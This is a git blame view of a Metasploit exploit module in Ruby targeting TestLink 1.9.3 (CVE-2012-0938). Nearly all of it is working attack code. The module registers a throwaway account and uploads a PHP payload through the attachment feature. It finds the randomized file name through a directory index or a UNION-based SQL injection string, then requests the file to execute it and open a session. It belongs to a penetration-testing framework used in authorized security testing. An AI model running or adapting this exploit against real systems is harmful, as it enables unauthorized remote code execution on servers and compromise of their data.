Files
metasploit-gs/modules/exploits/multi/http/testlink_upload_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

274 lines
8.7 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 16:28:54 -05:00
2021-09-10 12:53:39 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => "TestLink v1.9.3 Arbitrary File Upload Vulnerability",
'Description' => %q{
This module exploits a vulnerability in TestLink version 1.9.3 or prior.
This application has an upload feature that allows any authenticated
user to upload arbitrary files to the '/upload_area/nodes_hierarchy/'
directory with a randomized file name. The file name can be retrieved from
the database using SQL injection.
},
'License' => MSF_LICENSE,
'Author' => [
2019-01-10 19:19:14 +00:00
'bcoles' # Discovery and exploit
],
2021-09-10 12:53:39 +01:00
'References' => [
[ 'CVE', '2012-0938' ],
[ 'OSVDB', '85446' ],
2021-09-10 12:53:39 +01:00
[ 'EDB', '20500' ],
2013-06-20 11:17:23 -05:00
[ 'URL', 'http://itsecuritysolutions.org/2012-08-13-TestLink-1.9.3-multiple-vulnerabilities/' ]
],
2021-09-10 12:53:39 +01:00
'Payload' => {
'BadChars' => "\x00"
},
2021-09-10 12:53:39 +01:00
'DefaultOptions' => {
2015-09-01 10:43:45 +02:00
'EXITFUNC' => 'thread'
},
2021-09-10 12:53:39 +01:00
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [
['Automatic Targeting', { 'auto' => true }]
],
2021-09-10 12:53:39 +01:00
'Privileged' => false,
'DisclosureDate' => '2012-08-13',
2021-10-06 13:43:31 +01:00
'DefaultTarget' => 0,
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_delete_file
]
}
}
2021-09-10 12:53:39 +01:00
)
)
2013-08-30 16:28:54 -05:00
register_options(
[
OptString.new('TARGETURI', [true, 'The path to the web application', '/testlink-1.9.3/'])
2021-09-10 12:53:39 +01:00
]
)
self.needs_cleanup = true
end
2013-08-30 16:28:54 -05:00
def check
2021-09-10 12:53:39 +01:00
base = target_uri.path
base << '/' if base[-1, 1] != '/'
peer = "#{rhost}:#{rport}"
2013-08-30 16:28:54 -05:00
# retrieve software version from login page
begin
res = send_request_cgi({
'method' => 'GET',
2021-09-10 12:53:39 +01:00
'uri' => normalize_uri(base, "login.php")
})
2013-08-30 16:28:54 -05:00
return Exploit::CheckCode::Unknown if res.nil?
2013-08-30 16:28:54 -05:00
if res
if res.code == 200
if res.body =~ /<p><img alt="Company logo" title="logo" style="width: 115px; height: 53px;"\s+src="[^"]+" \/>\s+<br \/>TestLink 1\.9\.3/
2014-01-21 13:03:36 -06:00
return Exploit::CheckCode::Appears
end
end
end
2013-08-30 16:28:54 -05:00
return Exploit::CheckCode::Detected if res and res.body =~ /TestLink project <a href="http:\/\/testlink\.sourceforge\.net\/docs\/testLink\.php">Home<\/a><br \/>/
2021-09-10 12:53:39 +01:00
return Exploit::CheckCode::Safe
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
2016-02-01 15:12:03 -06:00
vprint_error("Connection failed")
2014-01-21 13:03:36 -06:00
return Exploit::CheckCode::Unknown
end
2014-01-21 13:03:36 -06:00
return Exploit::CheckCode::Safe
end
2013-08-30 16:28:54 -05:00
def upload(base, fname, file)
boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}"
2021-09-10 12:53:39 +01:00
data_post = "--#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"uploadedFile\"; filename=\"#{fname}\"\r\n"
data_post << "Content-Type: text/php\r\n"
data_post << "\r\n"
data_post << file
data_post << "\r\n"
data_post << "--#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n"
data_post << "\r\n1048576\r\n"
data_post << "--#{boundary}\r\n"
2013-08-30 16:28:54 -05:00
res = send_request_cgi({
2021-09-10 12:53:39 +01:00
'method' => 'POST',
'uri' => "#{base}lib/attachments/attachmentupload.php",
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => data_post,
'cookie' => datastore['COOKIE'],
})
2013-08-30 16:28:54 -05:00
return res
end
2013-08-30 16:28:54 -05:00
def register(base, user, pass)
2021-09-10 12:53:39 +01:00
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{base}firstLogin.php",
'data' => "login=#{user}&password=#{pass}&password2=#{pass}&firstName=#{user}&lastName=#{user}&email=#{user}%40#{user}.tld&doEditUser=Add+User+Data",
})
2013-08-30 16:28:54 -05:00
return res
end
2013-08-30 16:28:54 -05:00
def login(base, user, pass)
2021-09-10 12:53:39 +01:00
res = send_request_cgi({
'method' => 'POST',
2021-09-10 12:53:39 +01:00
'uri' => "#{base}login.php",
'data' => "reqURI=&destination=&tl_login=#{user}&tl_password=#{pass}&login_submit=Login",
'cookie' => datastore['COOKIE'],
})
2013-08-30 16:28:54 -05:00
return res
end
2013-08-30 16:28:54 -05:00
def on_new_session(client)
print_warning("Deleting #{@token}.php")
if client.type == "meterpreter"
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
client.fs.file.rm("#{@token}.php")
else
client.shell_command_token("rm #{@token}.php")
end
end
2013-08-30 16:28:54 -05:00
def exploit
2021-09-10 12:53:39 +01:00
base = normalize_uri(target_uri.path)
base << '/' if base[-1, 1] != '/'
2021-09-10 12:53:39 +01:00
datastore['COOKIE'] = "PHPSESSID=" + rand_text_alpha_lower(26) + ";"
2013-08-30 16:28:54 -05:00
# register an account
2021-09-10 12:53:39 +01:00
user = rand_text_alphanumeric(rand(10) + 6)
2016-02-01 15:12:03 -06:00
print_status("Registering user (#{user})")
2021-09-10 12:53:39 +01:00
res = register(base, user, user)
if res and res.code == 200 and res.body =~ /\<html\>\<head\>\<\/head\>\<body\>\<script type='text\/javascript'\>location\.href=/
2017-07-19 12:48:52 +01:00
print_good("Registered successfully")
else
2016-02-01 15:12:03 -06:00
print_error("Registration failed")
return
end
2013-08-30 16:28:54 -05:00
# login
2016-02-01 15:12:03 -06:00
print_status("Authenticating user (#{user})")
2021-09-10 12:53:39 +01:00
res = login(base, user, user)
if res and res.code == 200 and res.body =~ /\<html\>\<head\>\<\/head\>\<body\>\<script type='text\/javascript'\>location\.href=/
2017-07-19 12:48:52 +01:00
print_good("Authenticated successfully")
else
2016-02-01 15:12:03 -06:00
print_error("Authentication failed")
return
end
2013-08-30 16:28:54 -05:00
# set id and table name
2021-09-10 12:53:39 +01:00
id = rand(1000) + 1
table = 'nodes_hierarchy'
2016-02-01 15:12:03 -06:00
print_status("Setting id (#{id}) and table name (#{table})")
begin
res = send_request_cgi({
2021-09-10 12:53:39 +01:00
'method' => 'GET',
'uri' => normalize_uri(base, "lib/attachments/attachmentupload.php") + "?id=#{id}&tableName=#{table}",
'cookie' => datastore['COOKIE'],
})
if res and res.code == 200
2017-07-19 12:48:52 +01:00
print_good("Setting id and table name successfully")
else
2016-02-01 15:12:03 -06:00
print_error("Setting id and table name failed")
return
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
2016-02-01 15:12:03 -06:00
print_error("Connection failed")
return
end
2013-08-30 16:28:54 -05:00
# upload PHP payload to ./upload_area/nodes_hierarchy/[id]/
2016-02-01 15:12:03 -06:00
print_status("Uploading PHP payload (#{payload.encoded.length.to_s} bytes)")
2021-09-10 12:53:39 +01:00
fname = rand_text_alphanumeric(rand(10) + 6) + '.php'
php = %Q|<?php #{payload.encoded} ?>|
begin
2021-09-10 12:53:39 +01:00
res = upload(base, fname, php)
if res and res.code == 200 and res.body =~ /<p>File uploaded<\/p>/
2016-02-01 15:12:03 -06:00
print_good("File uploaded successfully")
else
2016-02-01 15:12:03 -06:00
print_error("Uploading PHP payload failed")
return
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
2016-02-01 15:12:03 -06:00
print_error("Connection failed")
return
end
2013-08-30 16:28:54 -05:00
# attempt to retrieve real file name from directory index
2016-02-01 15:12:03 -06:00
print_status("Retrieving real file name from directory index.")
begin
res = send_request_cgi({
'method' => 'GET',
2021-09-10 12:53:39 +01:00
'uri' => normalize_uri(base, "upload_area", table, id)
})
if res and res.code == 200 and res.body =~ /\b([a-f0-9]+)\.php/
@token = $1
2016-02-01 15:12:03 -06:00
print_good("Successfully retrieved file name (#{@token})")
else
2016-02-01 15:12:03 -06:00
print_error("Could not retrieve file name from directory index.")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
2016-02-01 15:12:03 -06:00
print_error("Connection failed")
return
end
2013-08-30 16:28:54 -05:00
# attempt to retrieve real file name from the database
if @token.nil?
2016-02-01 15:12:03 -06:00
print_status("Retrieving real file name from the database.")
2013-01-30 23:23:41 -06:00
sqli = normalize_uri(base, "lib/ajax/gettprojectnodes.php") + "?root_node=-1+union+select+file_path,2,3,4,5,6+FROM+attachments+WHERE+file_name='#{fname}'--"
begin
res = send_request_cgi({
'method' => 'GET',
2021-09-10 12:53:39 +01:00
'uri' => sqli,
'cookie' => datastore['COOKIE'],
})
if res and res.code == 200 and res.body =~ /\b([a-f0-9]+)\.php/
@token = $1
2016-02-01 15:12:03 -06:00
print_good("Successfully retrieved file name (#{@token})")
else
2016-02-01 15:12:03 -06:00
print_error("Could not retrieve file name from the database.")
return
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
2016-02-01 15:12:03 -06:00
print_error("Connection failed")
return
end
end
2013-08-30 16:28:54 -05:00
# retrieve and execute PHP payload
2016-02-01 15:12:03 -06:00
print_status("Executing payload (#{@token}.php)")
begin
send_request_cgi({
'method' => 'GET',
2021-09-10 12:53:39 +01:00
'uri' => normalize_uri(base, "upload_area", "nodes_hierarchy", id, "#{@token}.php")
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
2016-02-01 15:12:03 -06:00
print_error("Connection failed")
return
end
2013-08-30 16:28:54 -05:00
handler
end
end